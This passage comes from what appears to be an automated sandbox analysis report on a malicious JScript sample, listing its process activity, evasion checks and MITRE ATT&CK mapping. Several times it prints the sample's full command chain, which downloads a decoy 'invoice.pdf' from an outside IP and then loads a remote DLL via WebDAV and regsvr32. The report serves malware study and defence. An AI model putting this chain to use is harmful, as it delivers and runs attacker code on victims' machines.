Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1388.js.csv");ITextStream.WriteLine(" entry:8138 f:qjjqrrac");ITextStream.WriteLine(" exec:2 f:qjjqrrac");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4850			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4982			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5692	Thread sleep count: 4850 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5692	Thread sleep count: 4982 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5432	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7176	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2785009008.000001B4ED82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1547290425.00000176C6C50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2786569828.000001B4F2E56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2786482843.000001B4F2E44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1547290425.00000176C6BE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@Q

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
